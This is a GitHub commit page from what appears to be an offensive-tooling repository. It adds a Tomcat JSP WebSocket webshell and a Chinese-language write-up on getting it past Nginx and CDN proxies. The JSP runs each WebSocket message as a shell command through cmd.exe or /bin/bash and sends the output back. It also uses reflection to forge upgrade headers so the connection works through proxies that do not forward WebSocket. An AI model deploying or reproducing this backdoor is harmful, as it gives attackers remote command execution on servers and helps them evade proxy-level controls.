Skip to content

Commit 5cc1100

Browse files
committed
Bypass Nginx CDN, jsp webshell
1 parent 2bc34fc commit 5cc1100

File tree

4 files changed

+143
-3
lines changed

4 files changed

+143
-3
lines changed

.DS_Store

6 KB
Binary file not shown.

BypassNginxCDN/wsNotAddEndpoint.jsp

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
<%@ page import="java.util.*" %>
2+
<%@ page import="java.io.InputStream" %>
3+
<%@ page import="java.lang.reflect.Field" %>
4+
<%@ page import="javax.websocket.Endpoint" %>
5+
<%@ page import="javax.websocket.Session" %>
6+
<%@ page import="javax.websocket.EndpointConfig" %>
7+
<%@ page import="javax.websocket.MessageHandler" %>
8+
<%@ page import="javax.websocket.server.ServerContainer" %>
9+
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
10+
<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
11+
<%@ page import="org.apache.tomcat.websocket.server.UpgradeUtil" %>
12+
<%@ page import="org.apache.tomcat.util.http.MimeHeaders" %>
13+
14+
<%!
15+
public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole<String> {
16+
private Session session;
17+
@Override
18+
public void onMessage(String s) {
19+
try {
20+
Process process;
21+
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
22+
if (bool) {
23+
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
24+
} else {
25+
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
26+
}
27+
InputStream inputStream = process.getInputStream();
28+
StringBuilder stringBuilder = new StringBuilder();
29+
int i;
30+
while ((i = inputStream.read()) != -1)
31+
stringBuilder.append((char)i);
32+
inputStream.close();
33+
process.waitFor();
34+
session.getBasicRemote().sendText(stringBuilder.toString());
35+
} catch (Exception exception) {
36+
exception.printStackTrace();
37+
}
38+
}
39+
@Override
40+
public void onOpen(final Session session, EndpointConfig config) {
41+
this.session = session;
42+
session.addMessageHandler(this);
43+
}
44+
}
45+
private void SetHeader(HttpServletRequest request, String key, String value){
46+
Class<? extends HttpServletRequest> requestClass = request.getClass();
47+
try {
48+
Field requestField = requestClass.getDeclaredField("request");
49+
requestField.setAccessible(true);
50+
Object requestObj = requestField.get(request);
51+
Field coyoteRequestField = requestObj.getClass().getDeclaredField("coyoteRequest");
52+
coyoteRequestField.setAccessible(true);
53+
Object coyoteRequestObj = coyoteRequestField.get(requestObj);
54+
Field headersField = coyoteRequestObj.getClass().getDeclaredField("headers");
55+
headersField.setAccessible(true);
56+
MimeHeaders headersObj = (MimeHeaders)headersField.get(coyoteRequestObj);
57+
headersObj.removeHeader(key);
58+
headersObj.addValue(key).setString(value);
59+
} catch (Exception e) {
60+
e.printStackTrace();
61+
}
62+
}
63+
%>
64+
65+
<%
66+
ServletContext servletContext = request.getSession().getServletContext();
67+
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, "/x").build();
68+
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
69+
Map<String, String> pathParams = Collections.emptyMap();
70+
SetHeader(request,"Connection","upgrade");
71+
SetHeader(request,"Sec-WebSocket-Version","13");
72+
SetHeader(request,"Upgrade","websocket");
73+
UpgradeUtil.doUpgrade(container, request, response, configEndpoint, pathParams);
74+
%>

README.md

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# **WebSocket 内存马,一种新型内存马技术**
1+
# **WebSocket Webshell,一种新型WebShell技术**
22

33
## 兼容性测试
44

@@ -14,15 +14,21 @@ Jboss(WildFly)
1414

1515
#### (3)无法使用的场景
1616

17-
1.使用了Nginx等代理,未配置Header转发 支持WebSocket
17+
~~1.使用了Nginx等代理,未配置Header转发 支持WebSocket~~ 已支持
18+
19+
~~2.使用了CDN,CDN供应商未支持WebSocket服务~~ 已支持
20+
21+
#### (4)~~必须注入内存~~
22+
23+
已支持不注入内存,非必须
1824

19-
2.使用了CDN,CDN供应商未支持WebSocket服务
2025

2126
## 详细介绍
2227

2328
- ### [websocket 内存马介绍](/static/websocket1.md)
2429
- ### [websocket 内存马代理](/static/websocketproxy.md)
2530
- ### [websocket 多功能shell实现](/static/websocket2.md)
31+
- ### [无需注入,可以绕过Nginx、CDN代理限制的 WebSocket jsp马](/static/wsNotAddEndpoint.md)
2632

2733
## 版权声明
2834

static/wsNotAddEndpoint.md

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
# 无需注入,可以绕过Nginx、CDN代理限制的 WebSocket jsp马
2+
3+
之前提到过可以向 WsServerContainer 容器内 添加ServerEndpointConfig 来注册WebSocket内存马,这样即有好处也有弊端,好处是内存马无落地文件,不好的地方是容易受限制无法使用。于是,我最近改写了下脚本的内容,直接取jsp内的request进行协议升级,从而不需要进行注册路径等操作,增加了HttpServletRequest的Header,使其可以在Nginx代理默认配置下使用
4+
5+
Nginx默认代理配置本身是不支持WebSocket协议的,需要修改 /etc/nginx/conf.d/nginx.conf,增加 proxy_set_header 内容,网上也可以搜到许多资料,其实就是增加了两个文件头,并未做其他处理。
6+
7+
那其实我们完全可以在Server端拦截request自己添加文件头来支持WebSocket
8+
9+
```java
10+
private void SetHeader(HttpServletRequest request, String key, String value){
11+
Class<? extends HttpServletRequest> requestClass = request.getClass();
12+
try {
13+
Field requestField = requestClass.getDeclaredField("request");
14+
requestField.setAccessible(true);
15+
Object requestObj = requestField.get(request);
16+
Field coyoteRequestField = requestObj.getClass().getDeclaredField("coyoteRequest");
17+
coyoteRequestField.setAccessible(true);
18+
Object coyoteRequestObj = coyoteRequestField.get(requestObj);
19+
Field headersField = coyoteRequestObj.getClass().getDeclaredField("headers");
20+
headersField.setAccessible(true);
21+
MimeHeaders headersObj = (MimeHeaders)headersField.get(coyoteRequestObj);
22+
headersObj.removeHeader(key);
23+
headersObj.addValue(key).setString(value);
24+
} catch (Exception e) {
25+
e.printStackTrace();
26+
}
27+
}
28+
29+
SetHeader(request,"Connection","upgrade");
30+
SetHeader(request,"Sec-WebSocket-Version","13");
31+
SetHeader(request,"Upgrade","websocket");
32+
```
33+
34+
通过添加这三个文件头,Tomcat就可以通过后续的doUpgrade校验了
35+
36+
```java
37+
if (!headerContainsToken(req, Constants.CONNECTION_HEADER_NAME,
38+
Constants.CONNECTION_HEADER_VALUE)) {
39+
resp.sendError(HttpServletResponse.SC_BAD_REQUEST);
40+
return;
41+
}
42+
if (!headerContainsToken(req, Constants.WS_VERSION_HEADER_NAME,
43+
Constants.WS_VERSION_HEADER_VALUE)) {
44+
resp.setStatus(426);
45+
resp.setHeader(Constants.WS_VERSION_HEADER_NAME,
46+
Constants.WS_VERSION_HEADER_VALUE);
47+
return;
48+
}
49+
key = req.getHeader(Constants.WS_KEY_HEADER_NAME);
50+
if (key == null) {
51+
resp.sendError(HttpServletResponse.SC_BAD_REQUEST);
52+
return;
53+
}
54+
```
55+
56+
Tomcat 是通过org.apache.tomcat.websocket.server.UpgradeUtil.doUpgrade 来把http协议升级为WebSocket
57+
58+
那把需要的内容传入进去,即可完成jsp文件连接WebSocket的功能
59+
60+
UpgradeUtil.doUpgrade(container, request, response, configEndpoint, pathParams);

0 commit comments

Comments
 (0)